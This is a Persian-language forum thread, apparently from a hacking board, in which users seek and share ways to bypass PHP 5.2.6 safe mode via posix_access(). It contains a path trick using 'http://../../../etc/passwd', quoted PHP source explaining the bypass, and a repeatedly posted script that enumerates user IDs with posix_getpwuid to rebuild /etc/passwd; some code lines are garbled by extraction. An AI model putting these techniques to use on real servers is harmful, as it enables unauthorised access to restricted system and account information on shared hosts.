اطلاعیه

Collapse
No announcement yet.

posix_access()

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • posix_access()

    با سلام

    می خواسنم بدونم راهی هست که ما با استفاده ازتابع posix_access() بتونيم محتويات فايلي رو بخوانيم

  • #2
    نگفتی کدوم language در مورد PHP پرم فایل رو چک میکنه خروجی هم بصورت بولین بر میگردونه در صورت false میشه با posix_get_last_error ارور رو چاپ کرد .
    کلا" خیلی کلی پرسیدی .

    Comment


    • #3
      نوشته اصلی توسط Sc0rpioN نمایش پست ها
      نگفتی کدوم language در مورد PHP پرم فایل رو چک میکنه خروجی هم بصورت بولین بر میگردونه در صورت false میشه با posix_get_last_error ارور رو چاپ کرد .
      کلا" خیلی کلی پرسیدی .
      می دونم بصورت بولین مقدار را بر میگردونه اما در صورتی که ما اجازه دسترسی به فایلی رو نداشته باشیم مقدار برگشتی مثلا var_dump(posix_access("\etc\passwd)) برابر با false مي شود حالا ما ميام با دادن مقدار http://../../../../etc/passwd به جاي etc\passwd كه مقدار برگشتی true می باشد ..یعنی ما الان تونستیم سیف مد رو یه جورایی به پیچونیم ! حالا من می خوام بدونم حالتی یا تابعی می تونیم بنویسیم که بیاد محتویات رو بخونه ! ( نه فقط پرمیزن) در صورت آن بودن سیف مد

      Comment


      • #4
        نوشته اصلی توسط Amoozesh نمایش پست ها
        http://../../../../etc/passwd به جاي etc\passwd كه مقدار برگشتی true می باشد
        من مطمن نیستم . اگه هم true باشه فقط بوغ میزنه فکر نکنم با این تابع که گفتی بشه ...
        یا تابعی می تونیم بنویسیم که بیاد محتویات رو بخونه !
        می خواسنم بدونم راهی هست که ما با استفاده ازتابع posix_access() بتونيم
        سوالات هم با هم نیمخونن , کلا" کار اون تابع چک کردنه حالا اگه میخوای سیف مد بایپس کنی بحث دیگست N تا راه ممکنه باشه .
        می دونم بصورت بولین مقدار را بر میگردونه
        نکته ی آخر هم من نمیدونم شما چی میدونی چی نمیدونی سوالت هم ناقص بود بنابر ین هر چی بلدم رو میگم .
        چون در مورد این تابع بود گفتم , دیگه نمیدونم .

        Comment


        • #5
          نوشته اصلی توسط Sc0rpioN نمایش پست ها
          من مطمن نیستم . اگه هم true باشه فقط بوغ میزنه فکر نکنم با این تابع که گفتی بشه ...


          سوالات هم با هم نیمخونن , کلا" کار اون تابع چک کردنه حالا اگه میخوای سیف مد بایپس کنی بحث دیگست N تا راه ممکنه باشه .

          نکته ی آخر هم من نمیدونم شما چی میدونی چی نمیدونی سوالت هم ناقص بود بنابر ین هر چی بلدم رو میگم .
          چون در مورد این تابع بود گفتم , دیگه نمیدونم .
          درسته برای بایپس کردن چندین راه وجود داره ! اما اگر به ورزن php – mysql نگاه کنیم می بینیم تعداد راه ها کم تر می شن !
          شما می تونی منو راهنمایی کنی چطور می تونم PHP 5.2.6 سيف مد را بایپس کنم ! با توجه به این که مای اس کیو ال بایپس هم نمی توانیم انجام بدیم
          مرسی

          Comment


          • #6
            securityreason.com/achievement_securityalert/54

            Comment


            • #7
              نوشته اصلی توسط Amoozesh نمایش پست ها
              securityreason.com/achievement_securityalert/54
              می تونی از اسکریپت زیر برای خواندن passwd استفاده کنی
              <?php
              for($uid=0;$uid<60000;$uid++){
              $ara = posix_getpwuid($uid);
              if (!empty($ara)) {
              while (list ($key, $val) = each($ara)){
              print "$val:";
              }
              print "\n";
              }
              }
              ?>

              Comment


              • #8
                کد PHP:
                <?php
                for($uid=0;$uid<60000;$uid++){
                $ara posix_getpwuid($uid);
                if (!empty(
                $ara)) {
                while (list (
                $key$val) = each($ara)){
                print 
                "$val:";
                }
                print 
                "\n";
                }
                }
                ?>
                ايستاده مردن بهتر از زانو زده زيستن است

                Comment


                • #9
                  نوشته اصلی توسط dj7xpl نمایش پست ها
                  کد PHP:
                  <?php
                  for($uid=0;$uid<60000;$uid++){
                  $ara posix_getpwuid($uid);
                  if (!empty(
                  $ara)) {
                  while (list (
                  $key$val) = each($ara)){
                  print 
                  "$val:";
                  }
                  print 
                  "\n";
                  }
                  }
                  ?>
                  خیلی پست مفیدی بود !

                  Comment


                  • #10
                    کد PHP:
                    PHP_FUNCTION(posix_access

                            
                    long mode 0
                            
                    int filename_lenret
                            
                    char *filename, *path

                            if (
                    zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC"s|l", &filename, &filename_len, &mode) == FAILURE) { 
                                    
                    RETURN_FALSE
                            } 

                            
                    path expand_filepath(filenameNULL TSRMLS_CC); 
                             
                            if (!
                    path) { 
                                    
                    POSIX_G(last_error) = EIO
                                    
                    RETURN_FALSE
                            } 

                            if (
                    php_check_open_basedir_ex(path0 TSRMLS_CC) || 
                                            (
                    PG(safe_mode) && (!php_checkuid_ex(filenameNULLCHECKUID_CHECK_FILE_AND_DIRCHECKUID_NO_ERRORS)))) { 
                                    
                    efree(path); 
                                    
                    POSIX_G(last_error) = EPERM
                                    
                    RETURN_FALSE
                            } 
                             
                            
                    ret access(pathmode); 
                            
                    efree(path); 

                            if (
                    ret) { 
                                    
                    POSIX_G(last_error) = errno
                                    
                    RETURN_FALSE
                            } 

                            
                    RETURN_TRUE

                    - --- 

                    var_dump(posix_access("http://../../../etc/passwd"))==True 
                    var_dump
                    (posix_access("/etc/passwd"))==False 

                    Why


                    Because path expand_filepath(filenameNULL TSRMLS_CC); will change "http://../../../etc/passwd" to path=/etc/passwd 

                    (PG(safe_mode) && (!php_checkuid_ex(filenameNULLCHECKUID_CHECK_FILE_AND_DIRCHECKUID_NO_ERRORS))) will check realy path "http://../../../etc/passwd"http:// is using in php_checkuid_ex(), so safe_mode is bypassed. 

                    http://seclists.org/fulldisclosure/2008/Jun/0237.html

                    Comment


                    • #11
                      نوشته اصلی توسط N3TR00T3R نمایش پست ها
                      خیلی پست مفیدی بود !


                      کد PHP:
                      <?php
                      for($uid=0;$uid<60000;$uid++){
                      $ara posix_getpwuid($uid);
                      if (!empty(
                      $ara)) {
                      while (list (
                      $key$val) = each($ara)){
                      print 
                      "$val:";
                      }
                      print 
                      "\n";
                      }
                      }
                      ?>
                      ايستاده مردن بهتر از زانو زده زيستن است

                      Comment

                      Working...
                      X